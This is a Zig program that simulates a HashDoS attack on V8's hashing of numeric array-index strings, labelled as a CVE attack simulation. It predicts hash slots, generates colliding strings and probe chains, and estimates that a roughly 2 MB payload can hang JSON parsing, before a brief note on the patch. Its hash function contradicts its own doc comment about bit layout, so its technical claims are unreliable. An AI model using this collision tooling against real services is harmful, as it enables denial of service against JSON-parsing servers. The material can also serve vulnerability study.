const std = @import("std");

/// Compute V8's deterministic hash for array index strings
/// Returns a 32-bit hash field where:
/// - bits 2-25: numeric value (24 bits)
/// - bits 26-31: string length (6 bits)
/// - bits 0-1: 0b00 (type marker kIntegerIndex)
fn computeV8Hash(value: u32, length: u32) u32 {
    // V8 only treats numbers as array indices if they fit in 24 bits
    std.debug.assert(value < (1 << 24));
    std.debug.assert(length < (1 << 6));
    
    // const raw_hash_field = (length << 24) | (value << 2) | 0b00;
    // return raw_hash_field;
    return (length << 24) | value;
}

/// Calculate the first probe slot in a hash table
/// V8 uses power-of-two capacities: slot = hash & (capacity - 1)
fn probeSlot(hash: u32, capacity: u32) u32 {
    std.debug.assert(capacity > 0);
    std.debug.assert((capacity & (capacity - 1)) == 0); // Must be power of two
    
    return hash & (capacity - 1);
}

/// Parse a decimal string to u32 (simplified for demonstration)
fn parseDecimalString(s: []const u8) !u32 {
    var value: u32 = 0;
    for (s) |c| {
        if (c < '0' or c > '9') return error.InvalidDigit;
        value = value * 10 + (c - '0');
        if (value >= (1 << 24)) return error.ValueTooLarge;
    }
    return value;
}

/// Guess the slot for a given numeric string
fn guessSlot(s: []const u8, capacity: u32) !u32 {
    const value = try parseDecimalString(s);
    const length = @as(u32, @intCast(s.len));
    const hash = computeV8Hash(value, length);
    const slot = probeSlot(hash, capacity);
    return slot;
}

/// Find strings that collide on the same slot
fn findCollisions(allocator: std.mem.Allocator, target: []const u8, capacity: u32, max_collisions: usize) !void {
    _ = allocator; // autofix
    const target_value = try parseDecimalString(target);
    const target_length = @as(u32, @intCast(target.len));
    const target_hash = computeV8Hash(target_value, target_length);
    const target_slot = probeSlot(target_hash, capacity);
    
    const stdout = std.fs.File.stdout().deprecatedWriter();
    try stdout.print("\n", .{});
    try stdout.print("Target string: \"{s}\"\n", .{target});
    try stdout.print("Length: {d}, Value: {d}\n", .{target_length, target_value});
    try stdout.print("Raw hash field: 0x{X:0>8}\n", .{target_hash});
    try stdout.print("First probe slot (capacity={d}): {d}\n", .{capacity, target_slot});
    try stdout.print("\nColliding strings (same initial slot):\n", .{});
    
    var collisions_found: usize = 0;
    var offset: u32 = 1;
    
    while (collisions_found < max_collisions and offset < 1000) : (offset += 1) {
        // Colliding values: same lower bits, different higher bits
        const colliding_value = target_value + (offset * capacity);
        if (colliding_value >= (1 << 24)) break;
        
        // Try different lengths (length bits also get masked for slot)
        var len_try: u32 = target_length;
        while (len_try <= target_length + 2 and len_try <= 10) : (len_try += 1) {
            // Convert value to string with specific length
            var buf: [16]u8 = undefined;
            const s = try std.fmt.bufPrint(&buf, "{d}", .{colliding_value});
            if (s.len != len_try) continue;
            
            const hash = computeV8Hash(colliding_value, len_try);
            const slot = probeSlot(hash, capacity);
            
            if (slot == target_slot) {
                try stdout.print("  \"{s}\" (hash=0x{X:0>8}, slot={d})\n", .{s, hash, slot});
                collisions_found += 1;
            }
        }
    }
}

/// Generate quadratic probing chain (as used in the attack)
fn quadraticProbeChain(start_value: u32, capacity: u32, chain_length: usize, allocator: std.mem.Allocator) ![]u32 {
    var chain = try allocator.alloc(u32, chain_length);
    errdefer allocator.free(chain);
    
    var slot = start_value & (capacity - 1);
    chain[0] = slot;
    
    for (1..chain_length) |k| {
        slot = (slot + @as(u32, @intCast(k))) & (capacity - 1);
        chain[k] = slot;
    }
    
    return chain;
}

/// Demonstrate the full attack scenario from the blog
fn demonstrateAttack(allocator: std.mem.Allocator) !void {
    const stdout = std.fs.File.stdout().deprecatedWriter();
    
    try stdout.print("\n", .{});
    try stdout.print("{s:=>60}\n", .{""});
    try stdout.print("CVE-2026-21717 HashDoS Attack Simulation\n", .{});
    try stdout.print("{s:=>60}\n", .{""});
    
    // Parameters from the blog's PoC
    const TARGET_VALUE: u32 = 1234;
    const CAPACITY: u32 = 1 << 19; // 524,288
    const CHAIN_LENGTH: usize = 1 << 17; // 131,072
    
    const target_str = try std.fmt.allocPrint(allocator, "{d}", .{TARGET_VALUE});
    defer allocator.free(target_str);
    
    const target_hash = computeV8Hash(TARGET_VALUE, @intCast(target_str.len));
    const target_slot = probeSlot(target_hash, CAPACITY);
    
    try stdout.print("\n[1] Target: \"{s}\" -> hash 0x{X:0>8} -> slot {d}\n", 
        .{target_str, target_hash, target_slot});
    
    try stdout.print("\n[2] Generating quadratic probe chain (length {d}):\n", .{CHAIN_LENGTH});
    const chain = try quadraticProbeChain(TARGET_VALUE, CAPACITY, @min(20, CHAIN_LENGTH), allocator);
    defer allocator.free(chain);
    
    try stdout.print("    First 20 slots: ", .{});
    for (chain[0..@min(20, chain.len)], 0..) |slot, i| {
        if (i > 0) try stdout.print(", ", .{});
        try stdout.print("{d}", .{slot});
    }
    try stdout.print("\n", .{});
    
    try stdout.print("\n[3] Crafting colliding strings for probe slots:\n", .{});
    for (chain[0..@min(10, chain.len)], 0..) |slot, i| {
        _ = i; // autofix
        var colliding_value = slot;
        if (colliding_value == TARGET_VALUE) {
            colliding_value += CAPACITY;
        }
        if (colliding_value < (1 << 24)) {
            const s = try std.fmt.allocPrint(allocator, "{d}", .{colliding_value});
            defer allocator.free(s);
            try stdout.print("    Slot {d:>5} -> value {d:>7} -> \"{s}\"\n", 
                .{slot, colliding_value, s});
        }
    }
    
    try stdout.print("\n[4] Attack payload size estimate:\n", .{});
    try stdout.print("    Chain length: {d} distinct colliding strings\n", .{CHAIN_LENGTH});
    try stdout.print("    ~2 MB payload can hang JSON parsing for ~30 seconds\n", .{});
    
    try stdout.print("\n[5] Mitigation (post-patch):\n", .{});
    try stdout.print("    V8 now uses seeded xorshift-multiply hash with 3 rounds\n", .{});
    try stdout.print("    Attackers cannot predict slots without knowing random secrets\n", .{});
}

/// Interactive slot guesser
fn interactiveSlotGuesser(allocator: std.mem.Allocator) !void {
    _ = allocator; // autofix
    const stdin = std.fs.File.stdin().deprecatedReader();
    const stdout = std.fs.File.stdout().deprecatedWriter();
    
    try stdout.print("\n", .{});
    try stdout.print("=== Interactive V8 Hash Slot Guesser ===\n", .{});
    try stdout.print("Enter a numeric string (or 'quit' to exit):\n", .{});
    
    var buffer: [256]u8 = undefined;
    
    while (true) {
        try stdout.print("\n> ", .{});
        
        if (try stdin.readUntilDelimiterOrEof(&buffer, '\n')) |line| {
            const input = std.mem.trim(u8, line, " \r\n");
            if (std.mem.eql(u8, input, "quit") or std.mem.eql(u8, input, "exit")) {
                break;
            }
            
            // Parse input: format "string capacity" or just "string"
            var parts = std.mem.splitAny(u8, input, " ");
            const num_str = parts.first();
            
            // var capacity: u32 = 1 << 19; // default 524,288
            var capacity: u32 = 32768; // default from blog example

            if (parts.next()) |cap_str| {
                capacity = try std.fmt.parseInt(u32, cap_str, 10);
                if ((capacity & (capacity - 1)) != 0) {
                    try stdout.print("Warning: {d} is not a power of two, using next power of two\n", .{capacity});
                    capacity = std.math.pow(u32, 2, @as(u32, @intFromFloat(@ceil(std.math.log2(@as(f64, @floatFromInt(capacity)))))));
                }
            }
            
            const slot = guessSlot(num_str, capacity) catch |err| {
                try stdout.print("Error: {}\n", .{err});
                continue;
            };
            
            const value = try parseDecimalString(num_str);
            const length = @as(u32, @intCast(num_str.len));
            const hash = computeV8Hash(value, length);
            
            try stdout.print("\n", .{});
            try stdout.print("String: \"{s}\"\n", .{num_str});
            try stdout.print("Value: {d}\n", .{value});
            try stdout.print("Length: {d}\n", .{length});
            try stdout.print("Raw hash: 0x{X:0>8}\n", .{hash});
            try stdout.print("Capacity: {d}\n", .{capacity});
            try stdout.print("Slot: {d}\n", .{slot});
        } else {
            break;
        }
    }
}

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();
    
    const stdout = std.fs.File.stdout().deprecatedWriter();
    
    // Example 1: Basic slot prediction
    try stdout.print("Example 1: Predict slot for a single string\n", .{});
    try stdout.print("{s:->60}\n", .{""});
    
    const test_strings = [_][]const u8{ "1234", "999999", "16777215" };
    const capacities = [_]u32{ 32768, 65536, 131072 };
    
    for (test_strings) |s| {
        for (capacities) |cap| {
            const slot = try guessSlot(s, cap);
            try stdout.print("  \"{s}\" -> capacity {d:>6} -> slot {d}\n", .{s, cap, slot});
        }
    }
    
    // Example 2: Find collisions
    try stdout.print("\n", .{});
    try stdout.print("Example 2: Find colliding strings (same initial slot)\n", .{});
    try stdout.print("{s:->60}\n", .{""});
    try findCollisions(allocator, "1234", 32768, 8);
    
    // Example 3: Full attack demonstration
    try demonstrateAttack(allocator);
    
    // Example 4: Interactive mode
    try interactiveSlotGuesser(allocator);
}